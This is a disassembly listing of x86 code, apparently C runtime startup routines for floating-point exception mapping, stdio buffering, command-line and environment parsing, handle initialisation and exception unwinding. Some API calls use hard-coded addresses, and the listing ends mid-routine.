cmp ecx, 13h
jb short loc_41C95C
cmp ecx, 24h
ja short loc_41C95C
mov dword_515884, 0Dh
retn
; ---------------------------------------------------------------------------
loc_41C94F: ; CODE XREF: sub_41C91A+13j
mov eax, dword_43B8E4[edx*8]
mov dword_515884, eax
retn
; ---------------------------------------------------------------------------
loc_41C95C: ; CODE XREF: sub_41C91A+23j
; sub_41C91A+28j
cmp ecx, 0BCh
jb short loc_41C976
cmp ecx, 0CAh
mov dword_515884, 8
jbe short locret_41C980
loc_41C976: ; CODE XREF: sub_41C91A+48j
mov dword_515884, 16h
locret_41C980: ; CODE XREF: sub_41C91A+5Aj
retn
sub_41C91A endp
; =============== S U B R O U T I N E =======================================
sub_41C981 proc near ; CODE XREF: sub_419096+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_41D5AC
test eax, eax
pop ecx
jz short loc_41CA0A
cmp esi, offset dword_43BB98
jnz short loc_41C99F
xor eax, eax
jmp short loc_41C9AA
; ---------------------------------------------------------------------------
loc_41C99F: ; CODE XREF: sub_41C981+18j
cmp esi, offset dword_43BBB8
jnz short loc_41CA0A
push 1
pop eax
loc_41C9AA: ; CODE XREF: sub_41C981+1Cj
inc dword_515A34
test word ptr [esi+0Ch], 10Ch
jnz short loc_41CA0A
cmp dword_51591C[eax*4], 0
push ebx
push edi
lea edi, ds:51591Ch[eax*4]
mov ebx, 1000h
jnz short loc_41C9F0
push ebx
call sub_417BEE
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_41C9F0
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_41C9FD
; ---------------------------------------------------------------------------
loc_41C9F0: ; CODE XREF: sub_41C981+4Dj
; sub_41C981+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_41C9FD: ; CODE XREF: sub_41C981+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41CA0A: ; CODE XREF: sub_41C981+10j
; sub_41C981+24j ...
xor eax, eax
pop esi
retn
sub_41C981 endp
; =============== S U B R O U T I N E =======================================
sub_41CA0E proc near ; CODE XREF: sub_419096+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_41CA38
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_41CA49
push esi
call sub_41B4B0
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41CA38: ; CODE XREF: sub_41CA0E+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_41CA49
push eax
call sub_41B4B0
pop ecx
loc_41CA49: ; CODE XREF: sub_41CA0E+10j
; sub_41CA0E+32j
pop esi
retn
sub_41CA0E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_41CB8C
test eax, eax
pop ecx
jz loc_41CB80
mov ebx, [eax+8]
test ebx, ebx
jz loc_41CB80
cmp ebx, 5
jnz short loc_41CA7C
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_41CB89
; ---------------------------------------------------------------------------
loc_41CA7C: ; CODE XREF: ___:0041CA6Ej
cmp ebx, 1
jz loc_41CB7B
mov ecx, dword_515924
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_515924, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_41CB6B
mov ecx, dword_43BAC0
mov edx, dword_43BAC4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_41CACB
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43BA50h[esi*4]
loc_41CAC2: ; CODE XREF: ___:0041CAC9j
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_41CAC2
loc_41CACB: ; CODE XREF: ___:0041CAB4j
mov eax, [eax]
mov esi, dword_43BACC
cmp eax, 0C000008Eh
jnz short loc_41CAE6
mov dword_43BACC, 83h
jmp short loc_41CB56
; ---------------------------------------------------------------------------
loc_41CAE6: ; CODE XREF: ___:0041CAD8j
cmp eax, 0C0000090h
jnz short loc_41CAF9
mov dword_43BACC, 81h
jmp short loc_41CB56
; ---------------------------------------------------------------------------
loc_41CAF9: ; CODE XREF: ___:0041CAEBj
cmp eax, 0C0000091h
jnz short loc_41CB0C
mov dword_43BACC, 84h
jmp short loc_41CB56
; ---------------------------------------------------------------------------
loc_41CB0C: ; CODE XREF: ___:0041CAFEj
cmp eax, 0C0000093h
jnz short loc_41CB1F
mov dword_43BACC, 85h
jmp short loc_41CB56
; ---------------------------------------------------------------------------
loc_41CB1F: ; CODE XREF: ___:0041CB11j
cmp eax, 0C000008Dh
jnz short loc_41CB32
mov dword_43BACC, 82h
jmp short loc_41CB56
; ---------------------------------------------------------------------------
loc_41CB32: ; CODE XREF: ___:0041CB24j
cmp eax, 0C000008Fh
jnz short loc_41CB45
mov dword_43BACC, 86h
jmp short loc_41CB56
; ---------------------------------------------------------------------------
loc_41CB45: ; CODE XREF: ___:0041CB37j
cmp eax, 0C0000092h
jnz short loc_41CB56
mov dword_43BACC, 8Ah
loc_41CB56: ; CODE XREF: ___:0041CAE4j
; ___:0041CAF7j ...
push dword_43BACC
push 8
call ebx
pop ecx
mov dword_43BACC, esi
pop ecx
pop esi
jmp short loc_41CB73
; ---------------------------------------------------------------------------
loc_41CB6B: ; CODE XREF: ___:0041CA9Dj
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_41CB73: ; CODE XREF: ___:0041CB69j
mov eax, [ebp+8]
mov dword_515924, eax
loc_41CB7B: ; CODE XREF: ___:0041CA7Fj
or eax, 0FFFFFFFFh
jmp short loc_41CB89
; ---------------------------------------------------------------------------
loc_41CB80: ; CODE XREF: ___:0041CA5Aj
; ___:0041CA65j
push dword ptr [ebp+0Ch]
nop
call near ptr 7C862E2Ah
loc_41CB89: ; CODE XREF: ___:0041CA77j
; ___:0041CB7Ej
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_41CB8C proc near ; CODE XREF: ___:0041CA52p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43BAC8
cmp dword_43BA48, edx
push esi
mov eax, offset dword_43BA48
jz short loc_41CBB9
lea esi, [ecx+ecx*2]
lea esi, ds:43BA48h[esi*4]
loc_41CBAE: ; CODE XREF: sub_41CB8C+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_41CBB9
cmp [eax], edx
jnz short loc_41CBAE
loc_41CBB9: ; CODE XREF: sub_41CB8C+16j
; sub_41CB8C+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43BA48h[ecx*4]
cmp eax, ecx
jnb short loc_41CBCC
cmp [eax], edx
jz short locret_41CBCE
loc_41CBCC: ; CODE XREF: sub_41CB8C+3Aj
xor eax, eax
locret_41CBCE: ; CODE XREF: sub_41CB8C+3Ej
retn
sub_41CB8C endp
; ---------------------------------------------------------------------------
cmp dword_516ECC, 0
jnz short loc_41CBDD
call sub_41C3C0
loc_41CBDD: ; CODE XREF: ___:0041CBD6j
push esi
mov esi, dword_516EC4
mov al, [esi]
cmp al, 22h
jnz short loc_41CC0F
loc_41CBEA: ; CODE XREF: ___:0041CC02j
; ___:0041CC05j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_41CC07
test al, al
jz short loc_41CC07
movzx eax, al
push eax
call sub_41EE1B
test eax, eax
pop ecx
jz short loc_41CBEA
inc esi
jmp short loc_41CBEA
; ---------------------------------------------------------------------------
loc_41CC07: ; CODE XREF: ___:0041CBF0j
; ___:0041CBF4j
cmp byte ptr [esi], 22h
jnz short loc_41CC19
loc_41CC0C: ; CODE XREF: ___:0041CC21j
inc esi
jmp short loc_41CC19
; ---------------------------------------------------------------------------
loc_41CC0F: ; CODE XREF: ___:0041CBE8j
cmp al, 20h
jbe short loc_41CC19
loc_41CC13: ; CODE XREF: ___:0041CC17j
inc esi
cmp byte ptr [esi], 20h
ja short loc_41CC13
loc_41CC19: ; CODE XREF: ___:0041CC0Aj
; ___:0041CC0Dj ...
mov al, [esi]
test al, al
jz short loc_41CC23
cmp al, 20h
jbe short loc_41CC0C
loc_41CC23: ; CODE XREF: ___:0041CC1Dj
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_516ECC, ebx
push esi
push edi
jnz short loc_41CC39
call sub_41C3C0
loc_41CC39: ; CODE XREF: ___:0041CC32j
mov esi, dword_5158D0
xor edi, edi
loc_41CC41: ; CODE XREF: ___:0041CC57j
mov al, [esi]
cmp al, bl
jz short loc_41CC59
cmp al, 3Dh
jz short loc_41CC4C
inc edi
loc_41CC4C: ; CODE XREF: ___:0041CC49j
push esi
call sub_417AF0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_41CC41
; ---------------------------------------------------------------------------
loc_41CC59: ; CODE XREF: ___:0041CC45j
lea eax, ds:4[edi*4]
push eax
call sub_417BEE
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_5158AC, esi
jnz short loc_41CC7B
push 9
call sub_4191E5
pop ecx
loc_41CC7B: ; CODE XREF: ___:0041CC71j
mov edi, dword_5158D0
cmp [edi], bl
jz short loc_41CCBE
push ebp
loc_41CC86: ; CODE XREF: ___:0041CCBBj
push edi
call sub_417AF0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_41CCB7
push ebp
call sub_417BEE
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_41CCAA
push 9
call sub_4191E5
pop ecx
loc_41CCAA: ; CODE XREF: ___:0041CCA0j
push edi
push dword ptr [esi]
call sub_417A00
pop ecx
add esi, 4
pop ecx
loc_41CCB7: ; CODE XREF: ___:0041CC93j
add edi, ebp
cmp [edi], bl
jnz short loc_41CC86
pop ebp
loc_41CCBE: ; CODE XREF: ___:0041CC83j
push dword_5158D0
call sub_417C62
pop ecx
mov dword_5158D0, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_516EC8, 1
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_516ECC, ebx
push esi
push edi
jnz short loc_41CCF7
call sub_41C3C0
loc_41CCF7: ; CODE XREF: ___:0041CCF0j
mov esi, offset dword_515928
push 104h
push esi
push ebx
nop
call near ptr 7C80B4CFh
mov eax, dword_516EC4
mov dword_5158BC, esi
mov edi, esi
cmp [eax], bl
jz short loc_41CD1C
mov edi, eax
loc_41CD1C: ; CODE XREF: ___:0041CD18j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push ebx
push ebx
push edi
call sub_41CD79
mov eax, [ebp-8]
mov ecx, [ebp-4]
lea eax, [eax+ecx*4]
push eax
call sub_417BEE
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_41CD4C
push 8
call sub_4191E5
pop ecx
loc_41CD4C: ; CODE XREF: ___:0041CD42j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
mov eax, [ebp-4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_41CD79
mov eax, [ebp-4]
add esp, 14h
dec eax
mov dword_5158A4, esi
pop edi
pop esi
mov dword_5158A0, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CD79 proc near ; CODE XREF: ___:0041CD27p
; ___:0041CD5Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_41CDA3
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41CDA3: ; CODE XREF: sub_41CD79+20j
cmp byte ptr [eax], 22h
jnz short loc_41CDEC
loc_41CDA8: ; CODE XREF: sub_41CD79+58j
; sub_41CD79+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_41CDDA
test dl, dl
jz short loc_41CDDA
movzx edx, dl
test byte_516DA1[edx], 4
jz short loc_41CDCD
inc dword ptr [ecx]
test esi, esi
jz short loc_41CDCD
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_41CDCD: ; CODE XREF: sub_41CD79+46j
; sub_41CD79+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_41CDA8
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41CDA8
; ---------------------------------------------------------------------------
loc_41CDDA: ; CODE XREF: sub_41CD79+36j
; sub_41CD79+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_41CDE4
and byte ptr [esi], 0
inc esi
loc_41CDE4: ; CODE XREF: sub_41CD79+65j
cmp byte ptr [eax], 22h
jnz short loc_41CE2F
inc eax
jmp short loc_41CE2F
; ---------------------------------------------------------------------------
loc_41CDEC: ; CODE XREF: sub_41CD79+2Dj
; sub_41CD79+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_41CDF7
mov dl, [eax]
mov [esi], dl
inc esi
loc_41CDF7: ; CODE XREF: sub_41CD79+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_516DA1[ebx], 4
jz short loc_41CE12
inc dword ptr [ecx]
test esi, esi
jz short loc_41CE11
mov bl, [eax]
mov [esi], bl
inc esi
loc_41CE11: ; CODE XREF: sub_41CD79+91j
inc eax
loc_41CE12: ; CODE XREF: sub_41CD79+8Bj
cmp dl, 20h
jz short loc_41CE20
test dl, dl
jz short loc_41CE24
cmp dl, 9
jnz short loc_41CDEC
loc_41CE20: ; CODE XREF: sub_41CD79+9Cj
test dl, dl
jnz short loc_41CE27
loc_41CE24: ; CODE XREF: sub_41CD79+A0j
dec eax
jmp short loc_41CE2F
; ---------------------------------------------------------------------------
loc_41CE27: ; CODE XREF: sub_41CD79+A9j
test esi, esi
jz short loc_41CE2F
and byte ptr [esi-1], 0
loc_41CE2F: ; CODE XREF: sub_41CD79+6Ej
; sub_41CD79+71j ...
and [ebp+arg_10], 0
loc_41CE33: ; CODE XREF: sub_41CD79+19Ej
cmp byte ptr [eax], 0
jz loc_41CF1C
loc_41CE3C: ; CODE XREF: sub_41CD79+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_41CE48
cmp dl, 9
jnz short loc_41CE4B
loc_41CE48: ; CODE XREF: sub_41CD79+C8j
inc eax
jmp short loc_41CE3C
; ---------------------------------------------------------------------------
loc_41CE4B: ; CODE XREF: sub_41CD79+CDj
cmp byte ptr [eax], 0
jz loc_41CF1C
test edi, edi
jz short loc_41CE60
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41CE60: ; CODE XREF: sub_41CD79+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_41CE65: ; CODE XREF: sub_41CD79+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_41CE6E: ; CODE XREF: sub_41CD79+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_41CE77
inc eax
inc ebx
jmp short loc_41CE6E
; ---------------------------------------------------------------------------
loc_41CE77: ; CODE XREF: sub_41CD79+F8j
cmp byte ptr [eax], 22h
jnz short loc_41CEA8
test bl, 1
jnz short loc_41CEA6
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_41CE95
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_41CE95
mov eax, edx
jmp short loc_41CE98
; ---------------------------------------------------------------------------
loc_41CE95: ; CODE XREF: sub_41CD79+10Dj
; sub_41CD79+116j
mov [ebp+arg_0], edi
loc_41CE98: ; CODE XREF: sub_41CD79+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_41CEA6: ; CODE XREF: sub_41CD79+106j
shr ebx, 1
loc_41CEA8: ; CODE XREF: sub_41CD79+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_41CEBD
inc ebx
loc_41CEB0: ; CODE XREF: sub_41CD79+142j
test esi, esi
jz short loc_41CEB8
mov byte ptr [esi], 5Ch
inc esi
loc_41CEB8: ; CODE XREF: sub_41CD79+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_41CEB0
loc_41CEBD: ; CODE XREF: sub_41CD79+134j
mov dl, [eax]
test dl, dl
jz short loc_41CF0D
cmp [ebp+arg_10], 0
jnz short loc_41CED3
cmp dl, 20h
jz short loc_41CF0D
cmp dl, 9
jz short loc_41CF0D
loc_41CED3: ; CODE XREF: sub_41CD79+14Ej
cmp [ebp+arg_0], 0
jz short loc_41CF07
test esi, esi
jz short loc_41CEF6
movzx ebx, dl
test byte_516DA1[ebx], 4
jz short loc_41CEEF
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_41CEEF: ; CODE XREF: sub_41CD79+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41CF05
; ---------------------------------------------------------------------------
loc_41CEF6: ; CODE XREF: sub_41CD79+162j
movzx edx, dl
test byte_516DA1[edx], 4
jz short loc_41CF05
inc eax
inc dword ptr [ecx]
loc_41CF05: ; CODE XREF: sub_41CD79+17Bj
; sub_41CD79+187j
inc dword ptr [ecx]
loc_41CF07: ; CODE XREF: sub_41CD79+15Ej
inc eax
jmp loc_41CE65
; ---------------------------------------------------------------------------
loc_41CF0D: ; CODE XREF: sub_41CD79+148j
; sub_41CD79+153j ...
test esi, esi
jz short loc_41CF15
and byte ptr [esi], 0
inc esi
loc_41CF15: ; CODE XREF: sub_41CD79+196j
inc dword ptr [ecx]
jmp loc_41CE33
; ---------------------------------------------------------------------------
loc_41CF1C: ; CODE XREF: sub_41CD79+BDj
; sub_41CD79+D5j
test edi, edi
jz short loc_41CF23
and dword ptr [edi], 0
loc_41CF23: ; CODE XREF: sub_41CD79+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_41CD79 endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, dword_515A2C
push ebx
push ebp
mov ebp, dword_421034
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_41CF7B
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_41CF5C
mov dword_515A2C, 1
jmp short loc_41CF84
; ---------------------------------------------------------------------------
loc_41CF5C: ; CODE XREF: ___:0041CF4Ej
nop
call near ptr 7C81CF5Bh
mov edi, eax
cmp edi, ebx
jz loc_41D056
mov dword_515A2C, 2
jmp loc_41D00A
; ---------------------------------------------------------------------------
loc_41CF7B: ; CODE XREF: ___:0041CF46j
cmp eax, 1
jnz loc_41D005
loc_41CF84: ; CODE XREF: ___:0041CF5Aj
cmp esi, ebx
jnz short loc_41CF94
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_41D056
loc_41CF94: ; CODE XREF: ___:0041CF86j
cmp [esi], bx
mov eax, esi
jz short loc_41CFA9
loc_41CF9B: ; CODE XREF: ___:0041CFA0j
; ___:0041CFA7j
inc eax
inc eax
cmp [eax], bx
jnz short loc_41CF9B
inc eax
inc eax
cmp [eax], bx
jnz short loc_41CF9B
loc_41CFA9: ; CODE XREF: ___:0041CF99j
sub eax, esi
mov edi, dword_421158
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_41CFFA
push ebp
call sub_417BEE
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_41CFFA
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_41CFF6
push dword ptr [esp+10h]
call sub_417C62
pop ecx
mov [esp+10h], ebx
loc_41CFF6: ; CODE XREF: ___:0041CFE6j
mov ebx, [esp+10h]
loc_41CFFA: ; CODE XREF: ___:0041CFC6j
; ___:0041CFD5j
push esi
nop
call near ptr 7C814AE7h
mov eax, ebx
jmp short loc_41D058
; ---------------------------------------------------------------------------
loc_41D005: ; CODE XREF: ___:0041CF7Ej
cmp eax, 2
jnz short loc_41D056
loc_41D00A: ; CODE XREF: ___:0041CF76j
cmp edi, ebx
jnz short loc_41D01A
nop
call near ptr 7C81CF5Bh
mov edi, eax
cmp edi, ebx
jz short loc_41D056
loc_41D01A: ; CODE XREF: ___:0041D00Cj
cmp [edi], bl
mov eax, edi
jz short loc_41D02A
loc_41D020: ; CODE XREF: ___:0041D023j
; ___:0041D028j
inc eax
cmp [eax], bl
jnz short loc_41D020
inc eax
cmp [eax], bl
jnz short loc_41D020
loc_41D02A: ; CODE XREF: ___:0041D01Ej
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_417BEE
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_41D040
xor esi, esi
jmp short loc_41D04B
; ---------------------------------------------------------------------------
loc_41D040: ; CODE XREF: ___:0041D03Aj
push ebp
push edi
push esi
call sub_417490
add esp, 0Ch
loc_41D04B: ; CODE XREF: ___:0041D03Ej
push edi
nop
call near ptr 7C81DF77h
mov eax, esi
jmp short loc_41D058
; ---------------------------------------------------------------------------
loc_41D056: ; CODE XREF: ___:0041CF66j
; ___:0041CF8Ej ...
xor eax, eax
loc_41D058: ; CODE XREF: ___:0041D003j
; ___:0041D054j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_417BEE
mov esi, eax
pop ecx
test esi, esi
jnz short loc_41D07F
push 1Bh
call sub_4191E5
pop ecx
loc_41D07F: ; CODE XREF: ___:0041D075j
mov dword_516B80, esi
mov dword_516C80, 20h
lea eax, [esi+100h]
loc_41D095: ; CODE XREF: ___:0041D0B1j
cmp esi, eax
jnb short loc_41D0B3
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_516B80
add esi, 8
add eax, 100h
jmp short loc_41D095
; ---------------------------------------------------------------------------
loc_41D0B3: ; CODE XREF: ___:0041D097j
lea eax, [esp+10h]
push eax
nop
call near ptr 7C801EEEh
cmp word ptr [esp+42h], 0
jz loc_41D18F
mov eax, [esp+44h]
test eax, eax
jz loc_41D18F
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_41D0E9
mov esi, eax
loc_41D0E9: ; CODE XREF: ___:0041D0E5j
cmp dword_516C80, esi
jge short loc_41D143
mov edi, offset dword_516B84
loc_41D0F6: ; CODE XREF: ___:0041D139j
push 100h
call sub_417BEE
test eax, eax
pop ecx
jz short loc_41D13D
add dword_516C80, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_41D114: ; CODE XREF: ___:0041D12Ej
cmp eax, ecx
jnb short loc_41D130
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_41D114
; ---------------------------------------------------------------------------
loc_41D130: ; CODE XREF: ___:0041D116j
add edi, 4
cmp dword_516C80, esi
jl short loc_41D0F6
jmp short loc_41D143
; ---------------------------------------------------------------------------
loc_41D13D: ; CODE XREF: ___:0041D103j
mov esi, dword_516C80
loc_41D143: ; CODE XREF: ___:0041D0EFj
; ___:0041D13Bj
xor edi, edi
test esi, esi
jle short loc_41D18F
loc_41D149: ; CODE XREF: ___:0041D18Dj
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_41D186
mov cl, [ebp+0]
test cl, 1
jz short loc_41D186
test cl, 8
jnz short loc_41D168
push eax
nop
call near ptr 7C810E51h
test eax, eax
jz short loc_41D186
loc_41D168: ; CODE XREF: ___:0041D15Bj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_516B80[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_41D186: ; CODE XREF: ___:0041D14Ej
; ___:0041D156j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_41D149
loc_41D18F: ; CODE XREF: ___:0041D0C4j
; ___:0041D0D0j ...
xor ebx, ebx
loc_41D191: ; CODE XREF: ___:0041D1F4j
mov eax, dword_516B80
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_41D1EC
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_41D1AC
push 0FFFFFFF6h
pop eax
jmp short loc_41D1B6
; ---------------------------------------------------------------------------
loc_41D1AC: ; CODE XREF: ___:0041D1A5j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_41D1B6: ; CODE XREF: ___:0041D1AAj
push eax
nop
call near ptr 7C812F39h
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41D1DB
push edi
nop
call near ptr 7C810E51h
test eax, eax
jz short loc_41D1DB
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_41D1E1
loc_41D1DB: ; CODE XREF: ___:0041D1C2j
; ___:0041D1CDj
or byte ptr [esi+4], 40h
jmp short loc_41D1F0
; ---------------------------------------------------------------------------
loc_41D1E1: ; CODE XREF: ___:0041D1D9j
cmp eax, 3
jnz short loc_41D1F0
or byte ptr [esi+4], 8
jmp short loc_41D1F0
; ---------------------------------------------------------------------------
loc_41D1EC: ; CODE XREF: ___:0041D19Dj
or byte ptr [esi+4], 80h
loc_41D1F0: ; CODE XREF: ___:0041D1DFj
; ___:0041D1E4j ...
inc ebx
cmp ebx, 3
jl short loc_41D191
push dword_516C80
nop
call near ptr 7C80CC97h
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41D20C proc near ; CODE XREF: sub_41D304+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_41D224
push [ebp+arg_0]
call sub_4203E8
sub_41D20C endp
; ---------------------------------------------------------------------------
loc_41D224: ; DATA XREF: sub_41D20C+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41D22C: ; DATA XREF: sub_41D24E+Ao
; ___:0041D2BFo
mov ecx, [esp+4]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41D24D
mov eax, [esp+8]
mov edx, [esp+10h]
mov [edx], eax
mov eax, 3
locret_41D24D: ; CODE XREF: ___:0041D23Cj
retn
; =============== S U B R O U T I N E =======================================
sub_41D24E proc near ; CODE XREF: sub_41D304+67p
; sub_41D304+A7p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset loc_41D22C
push large dword ptr fs:0
mov large fs:0, esp
loc_41D26B: ; CODE XREF: sub_41D24E:loc_41D2A6j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41D2A8
cmp esi, [esp+1Ch+arg_4]
jz short loc_41D2A8
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41D2A6
push 101h
mov eax, [ebx+esi*4+8]
call sub_41D2E2
call dword ptr [ebx+esi*4+8]
loc_41D2A6: ; CODE XREF: sub_41D24E+44j
jmp short loc_41D26B
; ---------------------------------------------------------------------------
loc_41D2A8: ; CODE XREF: sub_41D24E+2Aj
; sub_41D24E+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41D24E endp
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset loc_41D22C
jnz short locret_41D2D8
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41D2D8
mov eax, 1
locret_41D2D8: ; CODE XREF: ___:0041D2C6j
; ___:0041D2D1j
retn
; ---------------------------------------------------------------------------
push ebx
push ecx
mov ebx, offset dword_43BAD8
jmp short loc_41D2EC
; =============== S U B R O U T I N E =======================================
sub_41D2E2 proc near ; CODE XREF: sub_41D24E+4Fp
; sub_41D304+78p
push ebx
push ecx
mov ebx, offset dword_43BAD8
mov ecx, [ebp+8]
loc_41D2EC: ; CODE XREF: ___:0041D2E0j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41D2E2 endp
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
